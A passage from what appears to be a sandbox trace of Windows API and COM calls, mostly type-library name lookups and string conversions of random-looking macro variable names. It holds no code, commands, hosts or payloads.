(This=0x7919ac0) returned 0x5 [0018.841] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_cFfzVcmEk", lHashVal=0x100a89, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.841] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.841] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.841] IUnknown:Release (This=0x7919520) returned 0x10 [0018.841] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb75a2c, cbMultiByte=10, lpWideCharStr=0xcf226ec, cchWideChar=22 | out: lpWideCharStr="wIADNXBUXO") returned 10 [0018.841] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb75a46, cbMultiByte=10, lpWideCharStr=0xcf22b36, cchWideChar=22 | out: lpWideCharStr="oWsrjDDWBO") returned 10 [0018.841] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb75a5a, cbMultiByte=10, lpWideCharStr=0xcf22ce0, cchWideChar=22 | out: lpWideCharStr="cPNhzKlYqI") returned 10 [0018.841] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb75a6e, cbMultiByte=10, lpWideCharStr=0xcf22e8a, cchWideChar=22 | out: lpWideCharStr="SOKIRlQLhv") returned 10 [0018.841] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb75a82, cbMultiByte=10, lpWideCharStr=0xcf23034, cchWideChar=22 | out: lpWideCharStr="iPIpkWEdXp") returned 10 [0018.842] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb75a96, cbMultiByte=10, lpWideCharStr=0xcf231de, cchWideChar=22 | out: lpWideCharStr="QQIPRjuSGC") returned 10 [0018.842] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb75aaa, cbMultiByte=10, lpWideCharStr=0xcf23388, cchWideChar=22 | out: lpWideCharStr="lciPvZLjZw") returned 10 [0018.842] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb75abe, cbMultiByte=10, lpWideCharStr=0xcf23532, cchWideChar=22 | out: lpWideCharStr="mrpGjNGYza") returned 10 [0018.842] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xcf30000 [0018.845] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="dfsKLEYFp") returned 0x10bf9b [0018.845] strcpy_s (in: _Dst=0x305060, _DstSize=0xa, _Src="dfsKLEYFp" | out: _Dst="dfsKLEYFp") returned 0x0 [0018.845] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=10, lpWideCharStr=0x304eb0, cchWideChar=10 | out: lpWideCharStr="dfsKLEYFp") returned 10 [0018.845] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.845] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="dfsKLEYFp", lHashVal=0x10bf9b, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.845] IUnknown:Release (This=0x7919520) returned 0x10 [0018.845] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.845] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="dfsKLEYFp", lHashVal=0x10bf9b, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.845] IUnknown:Release (This=0x7346470) returned 0xb [0018.845] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.846] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="dfsKLEYFp", lHashVal=0x10bf9b, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.846] IUnknown:Release (This=0x7345930) returned 0x7 [0018.846] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.846] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="dfsKLEYFp", lHashVal=0x10bf9b, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.846] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.846] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x11) returned 0x79720e0 [0018.846] strcpy_s (in: _Dst=0x305210, _DstSize=0x11, _Src="_B_var_dfsKLEYFp" | out: _Dst="_B_var_dfsKLEYFp") returned 0x0 [0018.846] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=17, lpWideCharStr=0x305060, cchWideChar=17 | out: lpWideCharStr="_B_var_dfsKLEYFp") returned 17 [0018.846] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.846] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_dfsKLEYFp", lHashVal=0x10b95f, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.846] IUnknown:Release (This=0x7919520) returned 0x10 [0018.846] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.846] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_dfsKLEYFp", lHashVal=0x10b95f, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.846] IUnknown:Release (This=0x7346470) returned 0xb [0018.846] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.846] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_dfsKLEYFp", lHashVal=0x10b95f, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.846] IUnknown:Release (This=0x7345930) returned 0x7 [0018.846] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.846] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_dfsKLEYFp", lHashVal=0x10b95f, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.846] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.846] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.846] IUnknown:Release (This=0x7919520) returned 0x10 [0018.846] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb75adc, cbMultiByte=10, lpWideCharStr=0xcf319cc, cchWideChar=22 | out: lpWideCharStr="mRFIcLriPL") returned 10 [0018.846] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb75af6, cbMultiByte=10, lpWideCharStr=0xcf31e16, cchWideChar=22 | out: lpWideCharStr="YziEUPEFbm") returned 10 [0018.846] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb75b0a, cbMultiByte=10, lpWideCharStr=0xcf31fc0, cchWideChar=22 | out: lpWideCharStr="LNbPwTsivW") returned 10 [0018.847] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb75b1e, cbMultiByte=10, lpWideCharStr=0xcf3216a, cchWideChar=22 | out: lpWideCharStr="InKjjIwDKz") returned 10 [0018.847] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb75b32, cbMultiByte=10, lpWideCharStr=0xcf32314, cchWideChar=22 | out: lpWideCharStr="duJWIidQfb") returned 10 [0018.847] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb75b46, cbMultiByte=10, lpWideCharStr=0xcf324be, cchWideChar=22 | out: lpWideCharStr="oWoiDZppMI") returned 10 [0018.847] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb75b5a, cbMultiByte=10, lpWideCharStr=0xcf32668, cchWideChar=22 | out: lpWideCharStr="TNnsDlovYL") returned 10 [0018.847] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb75b6e, cbMultiByte=10, lpWideCharStr=0xcf32812, cchWideChar=22 | out: lpWideCharStr="RBubJQDFHR") returned 10 [0018.847] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xcf40000 [0018.848] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="WPiFihA") returned 0x109327 [0018.848] strcpy_s (in: _Dst=0x305060, _DstSize=0x8, _Src="WPiFihA" | out: _Dst="WPiFihA") returned 0x0 [0018.848] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=8, lpWideCharStr=0x304eb0, cchWideChar=8 | out: lpWideCharStr="WPiFihA") returned 8 [0018.848] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.848] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="WPiFihA", lHashVal=0x109327, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.848] IUnknown:Release (This=0x7919520) returned 0x10 [0018.848] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.848] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="WPiFihA", lHashVal=0x109327, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.848] IUnknown:Release (This=0x7346470) returned 0xb [0018.849] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.849] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="WPiFihA", lHashVal=0x109327, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.849] IUnknown:Release (This=0x7345930) returned 0x7 [0018.849] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.849] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="WPiFihA", lHashVal=0x109327, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.849] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.849] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xf) returned 0x79720e0 [0018.849] strcpy_s (in: _Dst=0x305210, _DstSize=0xf, _Src="_B_var_WPiFihA" | out: _Dst="_B_var_WPiFihA") returned 0x0 [0018.849] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=15, lpWideCharStr=0x305060, cchWideChar=15 | out: lpWideCharStr="_B_var_WPiFihA") returned 15 [0018.849] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.849] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_WPiFihA", lHashVal=0x1096ab, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.849] IUnknown:Release (This=0x7919520) returned 0x10 [0018.849] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.849] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_WPiFihA", lHashVal=0x1096ab, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.849] IUnknown:Release (This=0x7346470) returned 0xb [0018.849] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.849] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_WPiFihA", lHashVal=0x1096ab, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.849] IUnknown:Release (This=0x7345930) returned 0x7 [0018.849] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.849] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_WPiFihA", lHashVal=0x1096ab, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.849] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.849] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.849] IUnknown:Release (This=0x7919520) returned 0x10 [0018.849] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb75b8c, cbMultiByte=10, lpWideCharStr=0xcf40cac, cchWideChar=22 | out: lpWideCharStr="biRbdjwzUL") returned 10 [0018.849] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb75ba6, cbMultiByte=10, lpWideCharStr=0xcf410f6, cchWideChar=22 | out: lpWideCharStr="HhKPFAzXjJ") returned 10 [0018.849] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb75bba, cbMultiByte=10, lpWideCharStr=0xcf412a0, cchWideChar=22 | out: lpWideCharStr="jQJGrVfizt") returned 10 [0018.850] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb75bce, cbMultiByte=10, lpWideCharStr=0xcf4144a, cchWideChar=22 | out: lpWideCharStr="oJFHScUjOB") returned 10 [0018.850] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb75be2, cbMultiByte=10, lpWideCharStr=0xcf415f4, cchWideChar=22 | out: lpWideCharStr="kdbXhUdrzk") returned 10 [0018.850] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb75bf6, cbMultiByte=10, lpWideCharStr=0xcf4179e, cchWideChar=22 | out: lpWideCharStr="kvuRVLYLkI") returned 10 [0018.850] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb75c0a, cbMultiByte=10, lpWideCharStr=0xcf41948, cchWideChar=22 | out: lpWideCharStr="EQwaXzbCwc") returned 10 [0018.850] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb75c1e, cbMultiByte=10, lpWideCharStr=0xcf41af2, cchWideChar=22 | out: lpWideCharStr="jNIiYDpmZW") returned 10 [0018.850] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="lXPQpvTfn") returned 0x10c1b1 [0018.850] strcpy_s (in: _Dst=0x305060, _DstSize=0xa, _Src="lXPQpvTfn" | out: _Dst="lXPQpvTfn") returned 0x0 [0018.850] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=10, lpWideCharStr=0x304eb0, cchWideChar=10 | out: lpWideCharStr="lXPQpvTfn") returned 10 [0018.850] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.850] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="lXPQpvTfn", lHashVal=0x10c1b1, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.850] IUnknown:Release (This=0x7919520) returned 0x10 [0018.850] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.850] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="lXPQpvTfn", lHashVal=0x10c1b1, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.850] IUnknown:Release (This=0x7346470) returned 0xb [0018.850] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.850] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="lXPQpvTfn", lHashVal=0x10c1b1, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.850] IUnknown:Release (This=0x7345930) returned 0x7 [0018.850] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.850] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="lXPQpvTfn", lHashVal=0x10c1b1, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.850] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.851] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x11) returned 0x79720e0 [0018.851] strcpy_s (in: _Dst=0x305210, _DstSize=0x11, _Src="_B_var_lXPQpvTfn" | out: _Dst="_B_var_lXPQpvTfn") returned 0x0 [0018.851] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=17, lpWideCharStr=0x305060, cchWideChar=17 | out: lpWideCharStr="_B_var_lXPQpvTfn") returned 17 [0018.851] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.851] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_lXPQpvTfn", lHashVal=0x10caf6, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.851] IUnknown:Release (This=0x7919520) returned 0x10 [0018.851] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.851] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_lXPQpvTfn", lHashVal=0x10caf6, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.851] IUnknown:Release (This=0x7346470) returned 0xb [0018.851] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.851] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_lXPQpvTfn", lHashVal=0x10caf6, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.851] IUnknown:Release (This=0x7345930) returned 0x7 [0018.851] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.851] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_lXPQpvTfn", lHashVal=0x10caf6, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.851] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.851] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.851] IUnknown:Release (This=0x7919520) returned 0x10 [0018.851] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb75c3c, cbMultiByte=17, lpWideCharStr=0xcf43f64, cchWideChar=36 | out: lpWideCharStr="VPW iLQdMqYmzvHM") returned 17 [0018.851] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xcf50000 [0018.852] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xb) returned 0x79720e0 [0018.852] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="kujWlSOhznU") returned 0x1013a6 [0018.852] strcpy_s (in: _Dst=0x305060, _DstSize=0xc, _Src="kujWlSOhznU" | out: _Dst="kujWlSOhznU") returned 0x0 [0018.852] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=12, lpWideCharStr=0x304eb0, cchWideChar=12 | out: lpWideCharStr="kujWlSOhznU") returned 12 [0018.852] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.852] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="kujWlSOhznU", lHashVal=0x1013a6, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.852] IUnknown:Release (This=0x7919520) returned 0x10 [0018.852] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.852] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="kujWlSOhznU", lHashVal=0x1013a6, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.852] IUnknown:Release (This=0x7346470) returned 0xb [0018.852] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.852] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="kujWlSOhznU", lHashVal=0x1013a6, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.852] IUnknown:Release (This=0x7345930) returned 0x7 [0018.852] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.852] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="kujWlSOhznU", lHashVal=0x1013a6, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.852] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.852] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x13) returned 0x79720e0 [0018.852] strcpy_s (in: _Dst=0x305210, _DstSize=0x13, _Src="_B_var_kujWlSOhznU" | out: _Dst="_B_var_kujWlSOhznU") returned 0x0 [0018.853] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=19, lpWideCharStr=0x305060, cchWideChar=19 | out: lpWideCharStr="_B_var_kujWlSOhznU") returned 19 [0018.853] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.853] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_kujWlSOhznU", lHashVal=0x100508, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.853] IUnknown:Release (This=0x7919520) returned 0x10 [0018.853] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.853] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_kujWlSOhznU", lHashVal=0x100508, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.853] IUnknown:Release (This=0x7346470) returned 0xb [0018.853] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.853] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_kujWlSOhznU", lHashVal=0x100508, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.853] IUnknown:Release (This=0x7345930) returned 0x7 [0018.853] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.853] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_kujWlSOhznU", lHashVal=0x100508, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.853] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.853] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.853] IUnknown:Release (This=0x7919520) returned 0x10 [0018.853] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb75c64, cbMultiByte=10, lpWideCharStr=0xcf50cbc, cchWideChar=22 | out: lpWideCharStr="pbzThmwjfH") returned 10 [0018.853] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb75c7e, cbMultiByte=10, lpWideCharStr=0xcf51106, cchWideChar=22 | out: lpWideCharStr="TJqCjPHRTX") returned 10 [0018.853] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb75c92, cbMultiByte=10, lpWideCharStr=0xcf512b0, cchWideChar=22 | out: lpWideCharStr="qirTKnbMVn") returned 10 [0018.853] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb75ca6, cbMultiByte=10, lpWideCharStr=0xcf5145a, cchWideChar=22 | out: lpWideCharStr="VkhvTrNTKQ") returned 10 [0018.853] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb75cba, cbMultiByte=10, lpWideCharStr=0xcf51604, cchWideChar=22 | out: lpWideCharStr="mIPRsILsvt") returned 10 [0018.853] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb75cce, cbMultiByte=10, lpWideCharStr=0xcf517ae, cchWideChar=22 | out: lpWideCharStr="JllkbHkjJu") returned 10 [0018.854] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb75ce2, cbMultiByte=10, lpWideCharStr=0xcf51958, cchWideChar=22 | out: lpWideCharStr="LlLsljbvjo") returned 10 [0018.854] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb75cf6, cbMultiByte=10, lpWideCharStr=0xcf51b02, cchWideChar=22 | out: lpWideCharStr="CnGDkhSaaC") returned 10 [0018.854] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="kDWkwc") returned 0x105ead [0018.854] strcpy_s (in: _Dst=0x305060, _DstSize=0x7, _Src="kDWkwc" | out: _Dst="kDWkwc") returned 0x0 [0018.854] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=7, lpWideCharStr=0x304eb0, cchWideChar=7 | out: lpWideCharStr="kDWkwc") returned 7 [0018.854] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.854] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="kDWkwc", lHashVal=0x105ead, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.854] IUnknown:Release (This=0x7919520) returned 0x10 [0018.854] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.854] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="kDWkwc", lHashVal=0x105ead, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.854] IUnknown:Release (This=0x7346470) returned 0xb [0018.854] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.854] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="kDWkwc", lHashVal=0x105ead, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.854] IUnknown:Release (This=0x7345930) returned 0x7 [0018.854] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.854] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="kDWkwc", lHashVal=0x105ead, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.854] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.854] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xe) returned 0x79720e0 [0018.854] strcpy_s (in: _Dst=0x305210, _DstSize=0xe, _Src="_B_var_kDWkwc" | out: _Dst="_B_var_kDWkwc") returned 0x0 [0018.854] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=14, lpWideCharStr=0x305060, cchWideChar=14 | out: lpWideCharStr="_B_var_kDWkwc") returned 14 [0018.854] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.854] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_kDWkwc", lHashVal=0x10d956, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.854] IUnknown:Release (This=0x7919520) returned 0x10 [0018.854] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.854] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_kDWkwc", lHashVal=0x10d956, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.854] IUnknown:Release (This=0x7346470) returned 0xb [0018.855] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.855] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_kDWkwc", lHashVal=0x10d956, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.855] IUnknown:Release (This=0x7345930) returned 0x7 [0018.855] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.855] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_kDWkwc", lHashVal=0x10d956, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.855] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.855] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.855] IUnknown:Release (This=0x7919520) returned 0x10 [0018.855] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb75d14, cbMultiByte=10, lpWideCharStr=0xcf53f74, cchWideChar=22 | out: lpWideCharStr="rokPItPomH") returned 10 [0018.858] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xcf60000 [0018.859] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb75d2e, cbMultiByte=10, lpWideCharStr=0xcf603c4, cchWideChar=22 | out: lpWideCharStr="EJzGwUfAAj") returned 10 [0018.859] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb75d42, cbMultiByte=10, lpWideCharStr=0xcf6056e, cchWideChar=22 | out: lpWideCharStr="sauVDWmPsR") returned 10 